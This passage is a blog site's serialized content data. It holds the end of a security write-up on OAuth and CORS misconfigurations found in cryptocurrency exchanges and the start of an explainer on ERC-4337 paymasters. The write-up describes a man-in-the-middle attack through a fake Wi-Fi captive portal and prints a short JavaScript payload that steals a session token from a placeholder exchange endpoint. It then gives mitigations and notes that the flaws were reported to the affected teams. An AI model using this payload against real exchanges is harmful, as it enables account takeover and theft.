",{"type":25,"tag":271,"props":114647,"children":114648},{"style":13603},[114649],{"type":30,"value":1065},{"type":25,"tag":271,"props":114651,"children":114652},{"style":17388},[114653],{"type":30,"value":114654}," \"g_id_signin\"\n",{"type":25,"tag":271,"props":114656,"children":114657},{"class":13593,"line":101336},[114658],{"type":25,"tag":271,"props":114659,"children":114660},{"style":13625},[114661],{"type":30,"value":84162},{"type":25,"tag":271,"props":114663,"children":114664},{"class":13593,"line":101344},[114665],{"type":25,"tag":271,"props":114666,"children":114667},{"style":13625},[114668],{"type":30,"value":84092},{"type":25,"tag":271,"props":114670,"children":114672},{"class":13593,"line":114671},62,[114673],{"type":25,"tag":271,"props":114674,"children":114675},{"style":13625},[114676],{"type":30,"value":84177},{"type":25,"tag":271,"props":114678,"children":114680},{"class":13593,"line":114679},63,[114681],{"type":25,"tag":271,"props":114682,"children":114683},{"style":13625},[114684],{"type":30,"value":84185},{"type":25,"tag":271,"props":114686,"children":114688},{"class":13593,"line":114687},64,[114689],{"type":25,"tag":271,"props":114690,"children":114691},{"style":13625},[114692],{"type":30,"value":72000},{"type":25,"tag":271,"props":114694,"children":114696},{"class":13593,"line":114695},65,[114697,114701,114705,114709,114713,114717],{"type":25,"tag":271,"props":114698,"children":114699},{"style":13625},[114700],{"type":30,"value":84200},{"type":25,"tag":271,"props":114702,"children":114703},{"style":13620},[114704],{"type":30,"value":84205},{"type":25,"tag":271,"props":114706,"children":114707},{"style":13625},[114708],{"type":30,"value":84210},{"type":25,"tag":271,"props":114710,"children":114711},{"style":13603},[114712],{"type":30,"value":1065},{"type":25,"tag":271,"props":114714,"children":114715},{"style":14289},[114716],{"type":30,"value":25594},{"type":25,"tag":271,"props":114718,"children":114719},{"style":13625},[114720],{"type":30,"value":16299},{"type":25,"tag":271,"props":114722,"children":114724},{"class":13593,"line":114723},66,[114725],{"type":25,"tag":271,"props":114726,"children":114727},{"style":13625},[114728],{"type":30,"value":16501},{"type":25,"tag":26,"props":114730,"children":114731},{},[114732],{"type":30,"value":114733},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":25,"tag":26,"props":114735,"children":114736},{},[114737],{"type":30,"value":114738},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":25,"tag":247,"props":114740,"children":114742},{"id":114741},"how-to-mitigate",[114743],{"type":30,"value":114744},"How to Mitigate",{"type":25,"tag":26,"props":114746,"children":114747},{},[114748],{"type":30,"value":114749},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":25,"tag":96,"props":114751,"children":114753},{"id":114752},"exploiting-cors",[114754],{"type":30,"value":114755},"Exploiting CORS",{"type":25,"tag":26,"props":114757,"children":114758},{},[114759],{"type":30,"value":114760},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":25,"tag":26,"props":114762,"children":114763},{},[114764,114766,114772],{"type":30,"value":114765},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":25,"tag":264,"props":114767,"children":114769},{"className":114768},[],[114770],{"type":30,"value":114771},"http://",{"type":30,"value":114773}," schema for any subdomain:",{"type":25,"tag":7764,"props":114775,"children":114779},{"className":114776,"code":114777,"language":114778,"meta":7,"style":7},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[114780],{"type":25,"tag":264,"props":114781,"children":114782},{"__ignoreMap":7},[114783,114791,114799,114807],{"type":25,"tag":271,"props":114784,"children":114785},{"class":13593,"line":13594},[114786],{"type":25,"tag":271,"props":114787,"children":114788},{},[114789],{"type":30,"value":114790},"HTTP 200 OK\n",{"type":25,"tag":271,"props":114792,"children":114793},{"class":13593,"line":11641},[114794],{"type":25,"tag":271,"props":114795,"children":114796},{},[114797],{"type":30,"value":114798},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":25,"tag":271,"props":114800,"children":114801},{"class":13593,"line":14354},[114802],{"type":25,"tag":271,"props":114803,"children":114804},{},[114805],{"type":30,"value":114806},"Access-Control-Allow-Credentials: true\n",{"type":25,"tag":271,"props":114808,"children":114809},{"class":13593,"line":14391},[114810],{"type":25,"tag":271,"props":114811,"children":114812},{},[114813],{"type":30,"value":23442},{"type":25,"tag":247,"props":114815,"children":114817},{"id":114816},"cors-misconfiguration-by-lack-of-tls",[114818],{"type":30,"value":114819},"CORS Misconfiguration by Lack of TLS",{"type":25,"tag":26,"props":114821,"children":114822},{},[114823,114825,114831],{"type":30,"value":114824},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":25,"tag":264,"props":114826,"children":114828},{"className":114827},[],[114829],{"type":30,"value":114830},"exchange.com",{"type":30,"value":114832}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":25,"tag":26,"props":114834,"children":114835},{},[114836],{"type":30,"value":114837},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":25,"tag":108,"props":114839,"children":114840},{},[114841,114861],{"type":25,"tag":112,"props":114842,"children":114843},{},[114844,114846,114851,114853,114859],{"type":30,"value":114845},"Chrome --> won't work because cookies are not sent in ",{"type":25,"tag":264,"props":114847,"children":114849},{"className":114848},[],[114850],{"type":30,"value":114771},{"type":30,"value":114852}," --> ",{"type":25,"tag":264,"props":114854,"children":114856},{"className":114855},[],[114857],{"type":30,"value":114858},"https://",{"type":30,"value":114860}," requests, even if same-site",{"type":25,"tag":112,"props":114862,"children":114863},{},[114864,114866],{"type":30,"value":114865},"Firefox and Safari --> works since cookies are sent from an insecure context ",{"type":25,"tag":264,"props":114867,"children":114869},{"className":114868},[],[114870],{"type":30,"value":50875},{"type":25,"tag":247,"props":114872,"children":114874},{"id":114873},"exploit-1",[114875],{"type":30,"value":113205},{"type":25,"tag":26,"props":114877,"children":114878},{},[114879],{"type":30,"value":114880},"To exploit it, we must follow some steps:",{"type":25,"tag":661,"props":114882,"children":114883},{},[114884,114889,114894],{"type":25,"tag":112,"props":114885,"children":114886},{},[114887],{"type":30,"value":114888},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":25,"tag":112,"props":114890,"children":114891},{},[114892],{"type":30,"value":114893},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":25,"tag":112,"props":114895,"children":114896},{},[114897,114899,114904],{"type":30,"value":114898},"Use ",{"type":25,"tag":264,"props":114900,"children":114902},{"className":114901},[],[114903],{"type":30,"value":50875},{"type":30,"value":114905}," with CORS to do something malicious using the victim's account",{"type":25,"tag":26,"props":114907,"children":114908},{},[114909],{"type":30,"value":114910},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":25,"tag":26,"props":114912,"children":114913},{},[114914,114916,114921],{"type":30,"value":114915},"Once the redirect to the ",{"type":25,"tag":264,"props":114917,"children":114919},{"className":114918},[],[114920],{"type":30,"value":114771},{"type":30,"value":114922}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS misconfiguration:",{"type":25,"tag":7764,"props":114924,"children":114926},{"className":44475,"code":114925,"language":44477,"meta":7,"style":7},"(async () => {\n  let res = await fetch('https://www.exchange.com/api/session_token', {\n    credentials: 'include',\n    method: 'POST',\n  });\n  console.log(await res.json());\n})();\n",[114927],{"type":25,"tag":264,"props":114928,"children":114929},{"__ignoreMap":7},[114930,114953,114990,115007,115024,115031,115072],{"type":25,"tag":271,"props":114931,"children":114932},{"class":13593,"line":13594},[114933,114937,114941,114945,114949],{"type":25,"tag":271,"props":114934,"children":114935},{"style":13625},[114936],{"type":30,"value":394},{"type":25,"tag":271,"props":114938,"children":114939},{"style":14289},[114940],{"type":30,"value":49257},{"type":25,"tag":271,"props":114942,"children":114943},{"style":13625},[114944],{"type":30,"value":52807},{"type":25,"tag":271,"props":114946,"children":114947},{"style":14289},[114948],{"type":30,"value":27943},{"type":25,"tag":271,"props":114950,"children":114951},{"style":13625},[114952],{"type":30,"value":16431},{"type":25,"tag":271,"props":114954,"children":114955},{"class":13593,"line":11641},[114956,114960,114965,114969,114973,114977,114981,114986],{"type":25,"tag":271,"props":114957,"children":114958},{"style":14289},[114959],{"type":30,"value":20977},{"type":25,"tag":271,"props":114961,"children":114962},{"style":13598},[114963],{"type":30,"value":114964}," res",{"type":25,"tag":271,"props":114966,"children":114967},{"style":13603},[114968],{"type":30,"value":16155},{"type":25,"tag":271,"props":114970,"children":114971},{"style":16171},[114972],{"type":30,"value":49323},{"type":25,"tag":271,"props":114974,"children":114975},{"style":13620},[114976],{"type":30,"value":46042},{"type":25,"tag":271,"props":114978,"children":114979},{"style":13625},[114980],{"type":30,"value":394},{"type":25,"tag":271,"props":114982,"children":114983},{"style":17388},[114984],{"type":30,"value":114985},"'https://www.exchange.com/api/session_token'",{"type":25,"tag":271,"props":114987,"children":114988},{"style":13625},[114989],{"type":30,"value":61998},{"type":25,"tag":271,"props":114991,"children":114992},{"class":13593,"line":14354},[114993,114998,115003],{"type":25,"tag":271,"props":114994,"children":114995},{"style":13598},[114996],{"type":30,"value":114997},"    credentials:",{"type":25,"tag":271,"props":114999,"children":115000},{"style":17388},[115001],{"type":30,"value":115002}," 'include'",{"type":25,"tag":271,"props":115004,"children":115005},{"style":13625},[115006],{"type":30,"value":14351},{"type":25,"tag":271,"props":115008,"children":115009},{"class":13593,"line":14391},[115010,115015,115020],{"type":25,"tag":271,"props":115011,"children":115012},{"style":13598},[115013],{"type":30,"value":115014},"    method:",{"type":25,"tag":271,"props":115016,"children":115017},{"style":17388},[115018],{"type":30,"value":115019}," 'POST'",{"type":25,"tag":271,"props":115021,"children":115022},{"style":13625},[115023],{"type":30,"value":14351},{"type":25,"tag":271,"props":115025,"children":115026},{"class":13593,"line":14400},[115027],{"type":25,"tag":271,"props":115028,"children":115029},{"style":13625},[115030],{"type":30,"value":111288},{"type":25,"tag":271,"props":115032,"children":115033},{"class":13593,"line":16406},[115034,115039,115043,115048,115052,115056,115060,115064,115068],{"type":25,"tag":271,"props":115035,"children":115036},{"style":13598},[115037],{"type":30,"value":115038},"  console",{"type":25,"tag":271,"props":115040,"children":115041},{"style":13625},[115042],{"type":30,"value":1860},{"type":25,"tag":271,"props":115044,"children":115045},{"style":13620},[115046],{"type":30,"value":115047},"log",{"type":25,"tag":271,"props":115049,"children":115050},{"style":13625},[115051],{"type":30,"value":394},{"type":25,"tag":271,"props":115053,"children":115054},{"style":16171},[115055],{"type":30,"value":46029},{"type":25,"tag":271,"props":115057,"children":115058},{"style":13598},[115059],{"type":30,"value":114964},{"type":25,"tag":271,"props":115061,"children":115062},{"style":13625},[115063],{"type":30,"value":1860},{"type":25,"tag":271,"props":115065,"children":115066},{"style":13620},[115067],{"type":30,"value":47110},{"type":25,"tag":271,"props":115069,"children":115070},{"style":13625},[115071],{"type":30,"value":28546},{"type":25,"tag":271,"props":115073,"children":115074},{"class":13593,"line":16434},[115075],{"type":25,"tag":271,"props":115076,"children":115077},{"style":13625},[115078],{"type":30,"value":115079},"})();\n",{"type":25,"tag":26,"props":115081,"children":115082},{},[115083],{"type":30,"value":115084},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":25,"tag":247,"props":115086,"children":115087},{"id":53444},[115088],{"type":30,"value":53447},{"type":25,"tag":26,"props":115090,"children":115091},{},[115092,115094,115099],{"type":30,"value":115093},"As mitigation, it is recommended to remove all ",{"type":25,"tag":264,"props":115095,"children":115097},{"className":115096},[],[115098],{"type":30,"value":114771},{"type":30,"value":115100}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":25,"tag":26,"props":115102,"children":115103},{},[115104],{"type":30,"value":115105},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":25,"tag":96,"props":115107,"children":115108},{"id":42044},[115109],{"type":30,"value":32068},{"type":25,"tag":26,"props":115111,"children":115112},{},[115113],{"type":30,"value":115114},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":25,"tag":26,"props":115116,"children":115117},{},[115118],{"type":30,"value":115119},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in production.",{"type":25,"tag":15963,"props":115121,"children":115122},{},[115123],{"type":30,"value":15967},{"title":7,"searchDepth":11641,"depth":11641,"links":115125},[115126,115131,115136],{"id":112810,"depth":11641,"text":112813,"children":115127},[115128,115129,115130],{"id":112821,"depth":14354,"text":112824},{"id":113178,"depth":14354,"text":113181},{"id":114741,"depth":14354,"text":114744},{"id":114752,"depth":11641,"text":114755,"children":115132},[115133,115134,115135],{"id":114816,"depth":14354,"text":114819},{"id":114873,"depth":14354,"text":113205},{"id":53444,"depth":14354,"text":53447},{"id":42044,"depth":11641,"text":32068},"content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations",{"_path":115141,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":115142,"description":115143,"date":115144,"author":115145,"image":115146,"isFeatured":18,"onBlogPage":18,"tags":115148,"body":115151,"_type":16004,"_id":120922,"_source":16006,"_file":120923,"_stem":120924,"_extension":16009},"/blog/2025-12-02-paymasters-evm","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":115147,"width":16,"height":17},"/posts/paymasters-evm/title.png",[115149,115150],"evm","ERC-4337",{"type":22,"children":115152,"toc":120901},[115153,115157,115168,115173,115178,115183,115189,115195,115200,115205,115211,115216,115244,115250,115255,115262,115267,115277,115282,115308,115314,115334,115340,115360,115368,115399,115432,115441,115453,115478,115490,115503,115546,115552,115585,115684,115703,115726,115731,115737,115765,115912,115917,115944,115950,115962,115974,115983,116018,116023,117508,117536,117557,117562,117574,117583,117588,117606,117629,117634,117640,117693,117699,117732,117767,118591,118627,118663,118729,118762,119260,119313,119325,119889,119958,119985,120607,120649,120676,120688,120749,120768,120802,120807,120812,120817,120821,120826,120861,120887,120892,120897],{"type":25,"tag":48484,"props":115154,"children":115155},{"id":42127},[115156],{"type":30,"value":42130},{"type":25,"tag":26,"props":115158,"children":115159},{},[115160,115166],{"type":25,"tag":83,"props":115161,"children":115164},{"href":115162,"rel":115163},"https://docs.erc4337.io/",[9066],[115165],{"type":30,"value":115150},{"type":30,"value":115167}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":25,"tag":26,"props":115169,"children":115170},{},[115171],{"type":30,"value":115172},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":25,"tag":26,"props":115174,"children":115175},{},[115176],{"type":30,"value":115177},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":25,"tag":26,"props":115179,"children":115180},{},[115181],{"type":30,"value":115182},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":25,"tag":48484,"props":115184,"children":115186},{"id":115185},"erc4337-overview",[115187],{"type":30,"value":115188},"ERC4337 Overview",{"type":25,"tag":96,"props":115190,"children":115192},{"id":115191},"traditional-eoas-vs-smart-contract-wallets",[115193],{"type":30,"value":115194},"Traditional EOAs vs Smart Contract Wallets",{"type":25,"tag":26,"props":115196,"children":115197},{},[115198],{"type":30,"value":115199},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and risky.",{"type":25,"tag":26,"props":115201,"children":115202},{},[115203],{"type":30,"value":115204},"By contrast, smart contract accounts (or \"smart wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":25,"tag":96,"props":115206,"children":115208},{"id":115207},"why-erc4337-was-introduced",[115209],{"type":30,"value":115210},"Why ERC‑4337 Was Introduced",{"type":25,"tag":26,"props":115212,"children":115213},{},[115214],{"type":30,"value":115215},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":25,"tag":108,"props":115217,"children":115218},{},[115219,115224,115229,115234,115239],{"type":25,"tag":112,"props":115220,"children":115221},{},[115222],{"type":30,"value":115223},"User recovery for lost keys (e.g. social recovery)",{"type":25,"tag":112,"props":115225,"children":115226},{},[115227],{"type":30,"value":115228},"Batched or atomic multi-step operations in one flow",{"type":25,"tag":112,"props":115230,"children":115231},{},[115232],{"type":30,"value":115233},"Paying gas fees with ERC‑20 tokens or via sponsor (gasless UX)",{"type":25,"tag":112,"props":115235,"children":115236},{},[115237],{"type":30,"value":115238},"Using custom signature schemes or multisig logic",{"type":25,"tag":112,"props":115240,"children":115241},{},[115242],{"type":30,"value":115243},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":25,"tag":96,"props":115245,"children":115247},{"id":115246},"how-erc-4337-works",[115248],{"type":30,"value":115249},"How ERC-4337 Works",{"type":25,"tag":26,"props":115251,"children":115252},{},[115253],{"type":30,"value":115254},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":25,"tag":26,"props":115256,"children":115257},{},[115258],{"type":25,"tag":698,"props":115259,"children":115261},{"alt":63694,"src":115260},"/posts/paymasters-evm/flowchart.png",[],{"type":25,"tag":26,"props":115263,"children":115264},{},[115265],{"type":30,"value":115266},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":25,"tag":247,"props":115268,"children":115270},{"id":115269},"useroperation",[115271],{"type":25,"tag":264,"props":115272,"children":115274},{"className":115273},[],[115275],{"type":30,"value":115276},"UserOperation",{"type":25,"tag":26,"props":115278,"children":115279},{},[115280],{"type":30,"value":115281},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":25,"tag":108,"props":115283,"children":115284},{},[115285,115290,115295],{"type":25,"tag":112,"props":115286,"children":115287},{},[115288],{"type":30,"value":115289},"Target contract call(s)",{"type":25,"tag":112,"props":115291,"children":115292},{},[115293],{"type":30,"value":115294},"Signature or validation metadata",{"type":25,"tag":112,"props":115296,"children":115297},{},[115298,115300,115306],{"type":30,"value":115299},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":25,"tag":264,"props":115301,"children":115303},{"className":115302},[],[115304],{"type":30,"value":115305},"UserOperations",{"type":30,"value":115307}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":25,"tag":247,"props":115309,"children":115311},{"id":115310},"smart-contract-account",[115312],{"type":30,"value":115313},"Smart Contract Account",{"type":25,"tag":26,"props":115315,"children":115316},{},[115317,115319,115325,115326,115332],{"type":30,"value":115318},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":25,"tag":264,"props":115320,"children":115322},{"className":115321},[],[115323],{"type":30,"value":115324},"validateUserOp()",{"type":30,"value":12218},{"type":25,"tag":264,"props":115327,"children":115329},{"className":115328},[],[115330],{"type":30,"value":115331},"executeUserOp()",{"type":30,"value":115333},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending limits.",{"type":25,"tag":247,"props":115335,"children":115337},{"id":115336},"bundler",[115338],{"type":30,"value":115339},"Bundler",{"type":25,"tag":26,"props":115341,"children":115342},{},[115343,115345,115350,115352,115358],{"type":30,"value":115344},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple ",{"type":25,"tag":264,"props":115346,"children":115348},{"className":115347},[],[115349],{"type":30,"value":115305},{"type":30,"value":115351},", packages them, and submits them in a single transaction to the ",{"type":25,"tag":264,"props":115353,"children":115355},{"className":115354},[],[115356],{"type":30,"value":115357},"EntryPoint",{"type":30,"value":115359}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":25,"tag":247,"props":115361,"children":115362},{"id":27844},[115363],{"type":25,"tag":264,"props":115364,"children":115366},{"className":115365},[],[115367],{"type":30,"value":115357},{"type":25,"tag":26,"props":115369,"children":115370},{},[115371,115372,115377,115379,115384,115386,115390,115392,115397],{"type":30,"value":10272},{"type":25,"tag":264,"props":115373,"children":115375},{"className":115374},[],[115376],{"type":30,"value":115357},{"type":30,"value":115378}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":25,"tag":264,"props":115380,"children":115382},{"className":115381},[],[115383],{"type":30,"value":115305},{"type":30,"value":115385}," submitted by a ",{"type":25,"tag":38,"props":115387,"children":115388},{},[115389],{"type":30,"value":115339},{"type":30,"value":115391},", the ",{"type":25,"tag":264,"props":115393,"children":115395},{"className":115394},[],[115396],{"type":30,"value":115357},{"type":30,"value":115398}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":25,"tag":26,"props":115400,"children":115401},{},[115402,115404,115409,115411,115415,115417,115422,115424,115430],{"type":30,"value":115403},"Once all operations have been processed, the ",{"type":25,"tag":264,"props":115405,"children":115407},{"className":115406},[],[115408],{"type":30,"value":115357},{"type":30,"value":115410}," calculates the total gas consumed and reimburses the ",{"type":25,"tag":38,"props":115412,"children":115413},{},[115414],{"type":30,"value":115339},{"type":30,"value":115416},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":25,"tag":264,"props":115418,"children":115420},{"className":115419},[],[115421],{"type":30,"value":115357},{"type":30,"value":115423}," or from a ",{"type":25,"tag":264,"props":115425,"children":115427},{"className":115426},[],[115428],{"type":30,"value":115429},"paymaster",{"type":30,"value":115431}," that has agreed to sponsor the transaction.",{"type":25,"tag":247,"props":115433,"children":115434},{"id":115429},[115435],{"type":25,"tag":264,"props":115436,"children":115438},{"className":115437},[],[115439],{"type":30,"value":115440},"Paymaster",{"type":25,"tag":26,"props":115442,"children":115443},{},[115444,115446,115451],{"type":30,"value":115445},"A ",{"type":25,"tag":264,"props":115447,"children":115449},{"className":115448},[],[115450],{"type":30,"value":115429},{"type":30,"value":115452}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key functions:",{"type":25,"tag":108,"props":115454,"children":115455},{},[115456,115467],{"type":25,"tag":112,"props":115457,"children":115458},{},[115459,115465],{"type":25,"tag":264,"props":115460,"children":115462},{"className":115461},[],[115463],{"type":30,"value":115464},"validatePaymasterUserOp()",{"type":30,"value":115466}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":25,"tag":112,"props":115468,"children":115469},{},[115470,115476],{"type":25,"tag":264,"props":115471,"children":115473},{"className":115472},[],[115474],{"type":30,"value":115475},"postOp()",{"type":30,"value":115477},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":25,"tag":26,"props":115479,"children":115480},{},[115481,115483,115488],{"type":30,"value":115482},"By supporting both sponsorship and token-based gas payments, ",{"type":25,"tag":264,"props":115484,"children":115486},{"className":115485},[],[115487],{"type":30,"value":115429},{"type":30,"value":115489}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":25,"tag":96,"props":115491,"children":115493},{"id":115492},"understanding-the-entrypoints-flow",[115494,115496,115501],{"type":30,"value":115495},"Understanding the ",{"type":25,"tag":264,"props":115497,"children":115499},{"className":115498},[],[115500],{"type":30,"value":115357},{"type":30,"value":115502},"'s Flow",{"type":25,"tag":26,"props":115504,"children":115505},{},[115506,115508,115513,115514,115519,115521,115532,115534,115539,115540,115545],{"type":30,"value":115507},"When a bundler submits ",{"type":25,"tag":264,"props":115509,"children":115511},{"className":115510},[],[115512],{"type":30,"value":115305},{"type":30,"value":29534},{"type":25,"tag":264,"props":115515,"children":115517},{"className":115516},[],[115518],{"type":30,"value":115357},{"type":30,"value":115520}," contract via ",{"type":25,"tag":83,"props":115522,"children":115525},{"href":115523,"rel":115524},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[9066],[115526],{"type":25,"tag":264,"props":115527,"children":115529},{"className":115528},[],[115530],{"type":30,"value":115531},"handleOps()",{"type":30,"value":115533},", the processing occurs in two main phases: ",{"type":25,"tag":38,"props":115535,"children":115536},{},[115537],{"type":30,"value":115538},"Validation",{"type":30,"value":12218},{"type":25,"tag":38,"props":115541,"children":115542},{},[115543],{"type":30,"value":115544},"Execution",{"type":30,"value":1860},{"type":25,"tag":247,"props":115547,"children":115549},{"id":115548},"validation-phase",[115550],{"type":30,"value":115551},"Validation Phase",{"type":25,"tag":26,"props":115553,"children":115554},{},[115555,115557,115562,115564,115570,115572,115578,115579,115584],{"type":30,"value":115556},"In this phase, the ",{"type":25,"tag":264,"props":115558,"children":115560},{"className":115559},[],[115561],{"type":30,"value":115357},{"type":30,"value":115563}," first validates all operations in the submitted ",{"type":25,"tag":264,"props":115565,"children":115567},{"className":115566},[],[115568],{"type":30,"value":115569},"UserOps",{"type":30,"value":115571}," array before executing any of them. This ensures that only valid operations proceed to execution. For each ",{"type":25,"tag":264,"props":115573,"children":115575},{"className":115574},[],[115576],{"type":30,"value":115577},"UserOp",{"type":30,"value":115391},{"type":25,"tag":264,"props":115580,"children":115582},{"className":115581},[],[115583],{"type":30,"value":115357},{"type":30,"value":359},{"type":25,"tag":661,"props":115586,"children":115587},{},[115588,115606,115624,115645,115657],{"type":25,"tag":112,"props":115589,"children":115590},{},[115591,115598,115600],{"type":25,"tag":83,"props":115592,"children":115595},{"href":115593,"rel":115594},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[9066],[115596],{"type":30,"value":115597},"Calculates",{"type":30,"value":115599}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":25,"tag":264,"props":115601,"children":115603},{"className":115602},[],[115604],{"type":30,"value":115605},"maxFeePerGas",{"type":25,"tag":112,"props":115607,"children":115608},{},[115609,115616,115617,115622],{"type":25,"tag":83,"props":115610,"children":115613},{"href":115611,"rel":115612},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[9066],[115614],{"type":30,"value":115615},"Calls",{"type":30,"value":14096},{"type":25,"tag":264,"props":115618,"children":115620},{"className":115619},[],[115621],{"type":30,"value":115324},{"type":30,"value":115623}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":25,"tag":112,"props":115625,"children":115626},{},[115627,115629,115636,115638,115643],{"type":30,"value":115628},"If no paymaster is specified, attempts to ",{"type":25,"tag":83,"props":115630,"children":115633},{"href":115631,"rel":115632},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[9066],[115634],{"type":30,"value":115635},"deduct",{"type":30,"value":115637}," the prefund amount from the sender's ETH deposit in the ",{"type":25,"tag":264,"props":115639,"children":115641},{"className":115640},[],[115642],{"type":30,"value":115357},{"type":30,"value":115644}," (this can be partially refunded later if actual execution costs less)",{"type":25,"tag":112,"props":115646,"children":115647},{},[115648,115655],{"type":25,"tag":83,"props":115649,"children":115652},{"href":115650,"rel":115651},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[9066],[115653],{"type":30,"value":115654},"Validates",{"type":30,"value":115656}," the nonce to prevent replay attacks",{"type":25,"tag":112,"props":115658,"children":115659},{},[115660,115662,115668,115670,115676,115677,115682],{"type":30,"value":115661},"If a paymaster is specified, it will ",{"type":25,"tag":83,"props":115663,"children":115666},{"href":115664,"rel":115665},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[9066],[115667],{"type":30,"value":115635},{"type":30,"value":115669}," the required prefund amount from the paymaster's deposited ETH and then ",{"type":25,"tag":83,"props":115671,"children":115674},{"href":115672,"rel":115673},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[9066],[115675],{"type":30,"value":51406},{"type":30,"value":14096},{"type":25,"tag":264,"props":115678,"children":115680},{"className":115679},[],[115681],{"type":30,"value":115464},{"type":30,"value":115683}," on the paymaster contract to verify it will cover gas 